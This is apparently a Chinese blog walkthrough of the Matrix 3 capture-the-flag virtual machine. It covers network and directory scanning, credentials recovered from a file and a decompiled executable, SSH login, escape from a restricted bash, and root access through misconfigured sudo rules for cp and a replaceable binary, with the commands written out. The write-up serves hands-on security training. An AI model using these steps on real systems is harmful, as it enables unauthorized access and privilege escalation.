Matrix 3

So I won’t hesitate
No more no more
It cannot wait

0x00 环境准备

Kali-Linux(IP:10.10.16.128)
Matrix 3 虚拟机
NAT 网络连接

0x01 主机发现

nmap -sP 10.10.16.0/24

在这里插入图片描述

0x02 端口扫描

nmap -A -v -sS -sV -p- -T4 10.10.16.151

得到靶机开放 80(http),6464(ssh),7331(caldav:搭建私人通讯录,日历同步服务)
在这里插入图片描述

0x03 目录扫描

① 80 端口

dirb http://10.10.16.151 /usr/share/dirb/wordlists/big.txt

发现一个 assets(有价值的人或事) 目录
在这里插入图片描述

② 7331 端口

dirb http://10.10.16.151:7331

在这里插入图片描述

0x04 漏洞挖掘

1. 访问

① 80 端口

  1. 根据提示 “Follow the White Rabbit” 在网页下面找到一只小白兔
    在这里插入图片描述
  2. 右键图片 – 保存图片 – 得到图片名 “Matrix_can-show-you-the-door” ,猜想 Matrix 是一个目录,
    在这里插入图片描述

② Matrix 目录

  1. 在该目录下有许多子目录,最后在 http://10.10.16.151/Matrix/n/e/o/6/4/ 找到一个文件并下载下来。

黑客帝国主角尼奥(neo),所在的组织缩写 ud64

  1. 使用 gunzip 解压不了,提示不是一个压缩文件,使用 file 命令得知文件类型是 text,查看文件后得到用户名/密码,密码使用 md5 解密之后得到 passwd
gunzip secret.gz
file secret.gz
cat secret.gz

在这里插入图片描述

③ assets 目录

说是有价值,其实就是一些 CSS/JS/IMAGE 目录,没有价值。
在这里插入图片描述

④ 7331 端口

  1. 是一个登录界面,可以使用上面得到的帐密登录。
    在这里插入图片描述
    在这里插入图片描述
  2. 由于 7331 端口需要登录才能访问,所以在目录扫描的时候没能成功,在这里带上用户名/密码再扫一次,得到 data 目录,robots.txt 文件
dirb http://10.10.16.151:7331 -u admin:passwd -w

在这里插入图片描述
在这里插入图片描述

  1. 在 data 目录下发现 data 文件,下载下来,发现是一个在 window 下的可执行文件
wget http://10.10.16.151:7331/data/data --user=admin --password=passwd

在这里插入图片描述
在这里插入图片描述

  1. 使用 ida 对 data 文件做反编译,得到一对帐密:guest/7R1n17yN30
    在这里插入图片描述

0x05 漏洞利用

使用 guest/7R1n17yN30 进行 ssh 登录得到,获得 bash ,不过是一个受限制的 bash ,rbash ( restriced bash ) ,使得一些基本的命令都无法执行
在这里插入图片描述

① 获取完整 shell

方法一

使用 -t “bash --noprofile” 来禁止相关的启动脚本,从而获得完整的 shell

ssh guest@10.10.16.151 -p 6464 -t "bash --noprofile"

在这里插入图片描述

方法二

利用 vi 编辑器,改变环境变量 getshell

  1. 查看可执行权限的路径和命令,发现可以使用 vi 编辑器
    在这里插入图片描述
  2. 进入 vi 编辑器之后,按 esc 键,接着输入 :!/bin/sh 反弹 shell (感叹号表示强制执行)
    在这里插入图片描述
  3. 修改环境变量 PATH
export PATH="/usr/bin"
/usr/bin/bash

在这里插入图片描述
ps:不能直接在不完整的 shell 中修改环境变量 PATH,因为权限不够,只读权限(readonly variable)
在这里插入图片描述

② 提权

  1. 使用 sudo -l 发现可以以 root 权限免密执行 /usr/lib64/xfce4/session/xfsm-shutdown-helper ,以 trinity 权限免密执行 /bin/cp , 在这里插入图片描述
    利用的思路是在 guest 账户下生成 ssh 密钥,然后将同时生成的公钥复制到 trinity 账户下的 .ssh/authorized_keys
  2. 把原先 guest 账户下的 .ssh 文件删除,重新生成 .ssh
rm -rf .ssh
ssh-keygen

在这里插入图片描述

  1. 对于 .ssh 目录和 id_rsa.pub 文件要赋予完全权限(所有用户都拥有最高权限 – rwx)
chmod 777 .ssh
chmod 777 id_rsa.pub
  1. 将公钥 id_rsa.pub 复制给 trinity 账户下的 .ssh/authorized_keys,使用 ssh 携带 guest 的密钥在环回接口登录即可
sudo -u trinity /bin/cp .ssh/id_rsa.pub /home/trinity/.ssh/authorized_keys
ssh trinity@127.0.0.1 -i .ssh/id_rsa -p 6464

在这里插入图片描述
PS:如果目录/文件对于其他用户没有操作权限,会出现如下错误,使用 chmod 重新给予权限即可
在这里插入图片描述
如果 ssh 密钥过期会出现如下错误,删除原件,重新生成密钥即可
在这里插入图片描述

  1. sudo -l 查看当前 trinity 用户的权限,发现可以以 root 权限免密执行 /home/trinity/oracle ,实际上在 /home/trinity 目录下没有 oracle 可执行文件,利用的思路是将 /usr/bin 目录下用的 bash 可执行文件复制给 trinity 目录下的 oracle 文件,然后赋予可执行权限之后使用 sudo 执行即可提权。
cp /usr/bin/bash oracle
chmod +x oracle
sudo ./oracle

在这里插入图片描述
在这里插入图片描述

                                                                                                                                                                      猪头
                                                                                                                                                                   2020.3.11
发布了51 篇原创文章 · 获赞 4 · 访问量 2739

猜你喜欢

转载自blog.csdn.net/LZHPIG/article/details/104790200